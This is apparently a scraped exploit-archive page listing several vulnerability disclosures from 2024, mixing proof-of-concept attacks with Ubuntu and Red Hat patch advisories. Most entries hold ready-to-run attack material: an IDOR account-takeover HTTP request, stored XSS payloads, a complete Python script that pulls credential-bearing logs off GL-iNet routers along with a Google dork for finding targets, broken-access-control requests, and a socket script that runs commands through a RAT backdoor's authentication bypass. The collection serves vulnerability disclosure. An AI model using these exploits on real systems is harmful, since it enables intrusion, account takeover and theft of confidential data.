Computer Laboratory Management System version 1.0 suffers from an insecure direct object reference vulnerability.

#Vulnerability Details:  
#Application Name: Computer Laboratory Management System  
#Software Link: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html  
#Vendor Homepage: https://www.sourcecodester.com/users/tips23  
#BuG: Insecure Direct Object References (IDOR) and Account Takeover  
#BuG_Author: SoSPiro  
#CVE: CVE-2024-3139

# Vulnerable code section:

if(!empty($_FILES['img']['tmp_name'])){  
    if(!is_dir(base_app."uploads/avatars"))  
        mkdir(base_app."uploads/avatars");  
    $ext = pathinfo($_FILES['img']['name'], PATHINFO_EXTENSION);  
    $fname = "uploads/avatars/$id.png"; // The $id value is directly used in the file path  
    // Rest of the code  
}

# Vulnerability Description:

This vulnerability exists in the section of code responsible for handling file uploads. The $id variable, obtained from user input ($_POST), is utilized directly in constructing the file path without appropriate validation or authorization checks, leading to both IDOR and account takeover vulnerabilities. This allows an attacker to manipulate the $id parameter to access and modify files of other users, including administrators.

# Proof of Concept (PoC):

- Poc Video : https://drive.google.com/file/d/1P0Vg_sYM9S43_rJTe1l5E2Vt9gzvb0YX/view?usp=sharing

- Request:

POST /php-lms/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------38244968796537297751592545024  
Content-Length: 8393  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/php-lms/admin/?page=user  
Cookie: PHPSESSID=3oor3gc9ih6iq8fu6qpjf50si8  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
X-PwnFox-Color: green

-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="id"

7  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="firstname"

testtt  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="middlename"

testMiddle   
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="lastname"

te Last Name   
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="username"

admin2  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="password"

qwe123  
-----------------------------38244968796537297751592545024  
Content-Disposition: form-data; name="img"; filename="hack.png"  
Content-Type: image/png

PNG  
...

- Response:

HTTP/1.1 200 OK  
Date: Mon, 01 Apr 2024 10:19:19 GMT  
Server: Apache/2.4.54 (Win64) PHP/8.2.0 mod_fcgid/2.3.10-dev  
X-Powered-By: PHP/8.2.0  
X-Xdebug-Profile-Filename: c:/wamp64/tmp\trace.localhost.1711966759.10780.cgrind  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 1  
Connection: close  
Content-Type: text/html; charset=UTF-8

1

# Impact:

This vulnerability allows attackers to access and modify user data and profile pictures, leading to potential phishing, distribution of malicious content, and reputational damage. Additionally, unauthorized access to administrator accounts can occur, resulting in the compromise of sensitive information. This poses a significant risk to the security and usability of the application.

# Reproduce:

https://github.com/Sospiro014/zday1/blob/main/idor%2Baccaunt_takeover.md  
https://vuldb.com/?id.258914  
https://www.cve.org/CVERecord?id=CVE-2024-3139

Computer Laboratory Management System 1.0 Insecure Direct Object Reference

Hospital Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Hospital Management System v1.0 - Stored Cross Site Scripting (XSS)# Google Dork: NA# Date: 28-03-2024# Exploit Author: Sandeep Vishwakarma# Vendor Homepage: https://code-projects.org# Software Link: https://code-projects.org/hospital-management-system-in-php-css-javascript-and-mysql-free-download/# Version: v1.0# Tested on: Windows 10# CVE : CVE-2024-29412# Description: Stored Cross Site Scripting vulnerability inHospital Management System - v1.0 allows an attacker to execute arbitrarycode via a crafted payload to the 'patient_id','first_name','middle_initial' ,'last_name'" in /receptionist.php component.# POC:1. Go to the User Login page: "http://localhost/HospitalManagementSystem-gh-pages/2. Login with "r1" ID which is redirected to "http://localhost/HospitalManagementSystem-gh-pages/receptionist.php"endpoint.3. In Patient information functionality add this payload"><script>alert('1')</script> ,in all parameter.4. click on submit.# Reference:https://github.com/hackersroot/CVE-PoC/blob/main/CVE-2024-29412.md

Hospital Management System 1.0 Cross Site Scripting

Ubuntu Security Notice 6720-1 - Kentaro Kawane discovered that Cacti incorrectly handled user provided input sent through request parameters to the graph_view.php script. A remote authenticated attacker could use this issue to perform SQL injection attacks.

    ==========================================================================Ubuntu Security Notice USN-6720-1April 02, 2024cacti vulnerability==========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 22.04 LTS (Available with Ubuntu Pro)Summary:Cacti could be made to crash if it received specially craftedinput.Software Description:- cacti: web interface for graphing of monitoring systemsDetails:Kentaro Kawane discovered that Cacti incorrectly handled user providedinput sent through request parameters to the graph_view.php script.A remote authenticated attacker could use this issue to performSQL injection attacks.Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 22.04 LTS (Available with Ubuntu Pro):   cacti                           1.2.19+ds1-2ubuntu1+esm1In general, a standard system update will make all the necessary changes.References:   https://ubuntu.com/security/notices/USN-6720-1   CVE-2023-39361

Ubuntu Security Notice USN-6720-1

E-Insurance version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: E-INSUARANCE v1.0 - Stored Cross Site Scripting (XSS)# Google Dork: NA# Date: 28-03-2024# Exploit Author: Sandeep Vishwakarma# Vendor Homepage: https://www.sourcecodester.com# Software Link:https://www.sourcecodester.com/php/16995/insurance-management-system-php-mysql.html# Version: v1.0# Tested on: Windows 10# Description: Stored Cross Site Scripting vulnerability in E-INSUARANCE -v1.0 allows an attacker to execute arbitrary code via a crafted payload tothe Firstname and lastname parameter in the profile component.# POC:1. After login goto http://127.0.0.1/E-Insurance/Script/admin/?page=profile2. In fname & lname parameter add payolad"><script>alert("Hacked_by_Sandy")</script>3. click on submit.# Reference:https://github.com/hackersroot/CVE-PoC/blob/main/CVE-2024-29411.md

E-Insurance 1.0 Cross Site Scripting

GL-iNet MT6000 version 4.5.5 suffers from an arbitrary file download vulnerability.

    # Exploit Title: GL-iNet MT6000 4.5.5 - Arbitrary File Download# CVE: CVE-2024-27356# Google Dork: intitle:"GL.iNet Admin Panel"# Date: 2/26/2024# Exploit Author: Bandar Alharbi (aggressor)# Vendor Homepage: www.gl-inet.com# Tested Software Link: https://fw.gl-inet.com/firmware/x3000/release/openwrt-x3000-4.0-0406release1-0123-1705996441.bin# Tested Model: GL-X3000 Spitz AX# Affected Products and Firmware Versions: https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Download_file_vulnerability.mdimport sysimport requestsimport jsonrequests.packages.urllib3.disable_warnings()h = {'Content-type':'application/json;charset=utf-8', 'User-Agent':'Mozilla/5.0 (compatible;contxbot/1.0)'}def DoesTarExist():    r = requests.get(url+"/js/logread.tar", verify=False, timeout=30, headers=h)    if r.status_code == 200:        f = open("logread.tar", "wb")        f.write(r.content)        f.close()        print("[*] Full logs archive `logread.tar` has been downloaded!")        print("[*] Do NOT forget to untar it and grep it! It leaks confidential info such as credentials, registered Device ID and a lot more!")        return True    else:        print("[*] The `logread.tar` archive does not exist however ... try again later!")        return Falsedef isVulnerable():    r1 = requests.post(url+"/rpc", verify=False, timeout=30, headers=h)    if r1.status_code == 500 and "nginx" in r1.text:        r2 = requests.get(url+"/views/gl-sdk4-ui-login.common.js", verify=False, timeout=30, headers=h)        if  "Admin-Token" in r2.text:            j  = {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]}            r3 = requests.post(url+"/rpc", verify=False, json=j, timeout=30, headers=h)            ver = r3.json()['result']['firmware_version']            model = r3.json()['result']['model']            if ver.startswith(('4.')):                print("[*] Firmware version (%s) is vulnerable!" %ver)                print("[*] Device model is: %s" %model)                return True    print("[*] Either the firmware version is not vulnerable or the target may not be a GL.iNet device!")    return Falsedef isAlive():    try:        r = requests.get(url, verify=False, timeout=30, headers=h)        if r.status_code != 200:            print("[*] Make sure the target's web interface is accessible!")            return False        elif r.status_code == 200:            print("[*] The target is reachable!")            return True    except Exception:        print("[*] Error occurred when connecting to the target!")        pass    return Falseif __name__ == '__main__':    if len(sys.argv) != 2:        print("exploit.py url")        sys.exit(0)    url = sys.argv[1]    url = url.lower()    if not url.startswith(('http://', 'https://')):        print("[*] Invalid url format! It should be http[s]://<domain or ip>")        sys.exit(0)    if url.endswith("/"):        url = url.rstrip("/")    print("[*] GL.iNet Unauthenticated Full Logs Downloader")    try:        if (isAlive() and isVulnerable()) == (True and True):            DoesTarExist()    except KeyboardInterrupt:        print("[*] The exploit has been stopped by the user!")        sys.exit(0)

GL-iNet MT6000 4.5.5 Arbitrary File Download

Red Hat Security Advisory 2024-1601-03 - An update for curl is now available for Red Hat Enterprise Linux 8. Issues addressed include an information leakage vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1601.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: curl security and bug fix updateAdvisory ID:        RHSA-2024:1601-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1601Issue date:         2024-04-02Revision:           03CVE Names:          CVE-2023-28322====================================================================Summary: An update for curl is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The curl packages provide the libcurl library and the curl utility for downloading files from servers using various protocols, including HTTP, FTP, and LDAP.Security Fix(es):* curl: information disclosure by exploiting a mixed case flaw (CVE-2023-46218)* curl: more POST-after-PUT confusion (CVE-2023-28322)* curl: cookie injection with none file (CVE-2023-38546)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Bug Fix(es):* libssh (curl sftp) not trying password auth (BZ#2240033)* libssh: cap SFTP packet size sent (RHEL-5485)Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-28322References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2196793https://bugzilla.redhat.com/show_bug.cgi?id=2240033https://bugzilla.redhat.com/show_bug.cgi?id=2241938https://bugzilla.redhat.com/show_bug.cgi?id=2252030

Red Hat Security Advisory 2024-1601-03

Rapid7 Nexpose version 6.6.240 suffers from an unquoted service path vulnerability.

    # Exploit Title: Rapid7 nexpose - 'nexposeconsole' Unquoted Service Path# Date: 2024-04-2# Exploit Author: Saud Alenazi# Vendor Homepage: https://www.rapid7.com/# Software Link: https://www.rapid7.com/products/nexpose/# Version: 6.6.240# Tested: Windows 10 x64# Step to discover Unquoted Service Path:C:\Users\saudh>wmic service where 'name like "%nexposeconsole%"' get name, displayname, pathname, startmode, startnameDisplayName               Name            PathName                                                 StartMode  StartName Nexpose Security Console  nexposeconsole  "C:\Program Files\rapid7\nexpose\nsc\bin\nexlaunch.exe"  Auto       LocalSystem# Service info:C:\Users\saudh>sc qc nexposeconsole[SC] QueryServiceConfig SUCCESSSERVICE_NAME: nexposeconsole        TYPE               : 10  WIN32_OWN_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 0   IGNORE        BINARY_PATH_NAME   : "C:\Program Files\rapid7\nexpose\nsc\bin\nexlaunch.exe"        LOAD_ORDER_GROUP   :        TAG                : 0        DISPLAY_NAME       : Nexpose Security Console        DEPENDENCIES       :        SERVICE_START_NAME : LocalSystem#Exploit:A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

Rapid7 Nexpose 6.6.240 Unquoted Service Path

Blood Bank version 1.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Blood Bank v1.0 Stored Cross Site Scripting (XSS)# Date: 2023-11-14# Exploit Author: Ersin Erenler# Vendor Homepage: https://code-projects.org/blood-bank-in-php-with-source-code# Software Link: https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip# Version: 1.0# Tested on: Windows/Linux, Apache 2.4.54, PHP 8.2.0# CVE : CVE-2023-46020-------------------------------------------------------------------------------# Description:The parameters rename, remail, rphone, and rcity in the /file/updateprofile.php file of Code-Projects Blood Bank V1.0 are susceptible to Stored Cross-Site Scripting (XSS). This vulnerability arises due to insufficient input validation and sanitation of user-supplied data. An attacker can exploit this weakness by injecting malicious scripts into these parameters, which, when stored on the server, may be executed when other users view the affected user's profile.Vulnerable File: updateprofile.phpParameters: rename, remail, rphone, rcity# Proof of Concept:----------------------1. Intercept the POST request to updateprofile.php via Burp Suite2. Inject the payload to the vulnerable parameters3. Payload: "><svg/onload=alert(document.domain)>4. Example request for rname parameter:---POST /bloodbank/file/updateprofile.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 103Origin: http://localhostConnection: closeReferer: http://localhost/bloodbank/rprofile.php?id=1Cookie: PHPSESSID=<some-cookie-value>Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1rname=test"><svg/onload=alert(document.domain)>&remail=test%40gmail.com&rpassword=test&rphone=8875643456&rcity=lucknow&bg=A%2B&update=Update----5. Go to the profile page and trigger the XSSXSS Payload:"><svg/onload=alert(document.domain)>

Blood Bank 1.0 Cross Site Scripting

The PsyRAT 0.01 malware listens on random high TCP ports 53297, 53211, 532116 and so forth. Connecting to an infected host returns a logon prompt for PASS. However, you can enter anything or nothing at all and execute commands made available by the backdoor.

    Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/0e6e40aad3e8d46e3c0c26ccc6ab94b3.txtContact: malvuln13@gmail.comMedia: twitter.com/malvulnThreat: Backdoor.Win32.Agent.ju (PSYRAT)Vulnerability: Authentication Bypass RCEFamily: PSYRATType: PE32MD5: 0e6e40aad3e8d46e3c0c26ccc6ab94b3Vuln ID: MVID-2024-0677Disclosure: 04/01/2024Description: The PsyRAT 0.01 malware listens on random high TCP ports 53297, 53211, 532116 and so forth. Connecting to an infected host returns a logon prompt for PASS. However, you can enter anything or nothing at all and execute commands made available by the backdoor. The malware will return a BADPWD and or "Invalid command" error string but the command executes regardless. Custom client is required as it seems to dislike CRLF \r\n characters when using netcat or telnet.getdrives C\ - Fixed Drive^D\ - CD-ROM^cpuinfo Windows Version |System Directory C\WINDOWS\system32|Computer Name DESKTOP-2C4IQJO|Username VICTIM|CPU Speed 2808 MHz|CPU Type GenuineIntel|------|PsyRAT Version PsyRAT 1.02|IP/Port 192.168.18.130|Password |Install name |Reg value |PHP URLexe_sho [Program_Name] starts a program Exploit/PoC:from socket import *MALWARE_HOST="x.x.x.x"PORT=55116s=socket(AF_INET, SOCK_STREAM)s.connect((MALWARE_HOST, PORT))#send bad passwordPAYLOAD="malvuln" s.send(PAYLOAD.encode())#call commandsPAYLOAD="exe_sho calc" s.send(PAYLOAD.encode())s.close()Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Backdoor.Win32.Agent.ju (PSYRAT) MVID-2024-0677 Bypass / Command Execution

Daily Habit Tracker version 1.0 suffers from an access control vulnerability.

    # Exploit Title: Daily Habit Tracker 1.0 - Broken Access Control# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/17118/daily-habit-tracker-using-php-and-mysql-source-code.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24496### Broken Access Control:> Broken Access Control is a security vulnerability arising when a web application inadequately restricts user access to specific resources and functions. It involves ensuring users are authorized only for the resources and functionalities intended for them.### Affected Components:> home.php, add-tracker.php, delete-tracker.php, update-tracker.php### Description:> Broken access control enables unauthenticated attackers to access the home page and to create, update, or delete trackers without providing credentials.## Proof of Concept:### Unauthenticated Access to Home page> To bypass authentication, navigate to 'http://yourwebsitehere.com/home.php'. The application does not verify whether the user is authenticated or authorized to access this page.### Create Tracker as Unauthenticated UserTo create a tracker, use the following request:```POST /habit-tracker/endpoint/add-tracker.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 108Origin: http://localhostDNT: 1Connection: closeReferer: http://localhost/habit-tracker/home.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1date=1443-01-02&day=Monday&exercise=Yes&pray=Yes&read_book=Yes&vitamins=Yes&laundry=Yes&alcohol=Yes&meat=Yes```### Update Tracker as Unauthenticated UserTo update a tracker, use the following request:```POST /habit-tracker/endpoint/update-tracker.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencodedContent-Length: 121Origin: http://localhostDNT: 1Connection: closeReferer: http://localhost/habit-tracker/home.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1tbl_tracker_id=5&date=1443-01-02&day=Monday&exercise=No&pray=Yes&read_book=No&vitamins=Yes&laundry=No&alcohol=No&meat=Yes```### Delete Tracker as Unauthenticated User:To delete a tracker, use the following request:```GET /habit-tracker/endpoint/delete-tracker.php?tracker=5 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brDNT: 1Connection: closeReferer: http://localhost/habit-tracker/home.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1```## RecommendationsWhen using this tracking system, it is essential to update the application code to ensure that proper access controls are in place.

Tag

#auth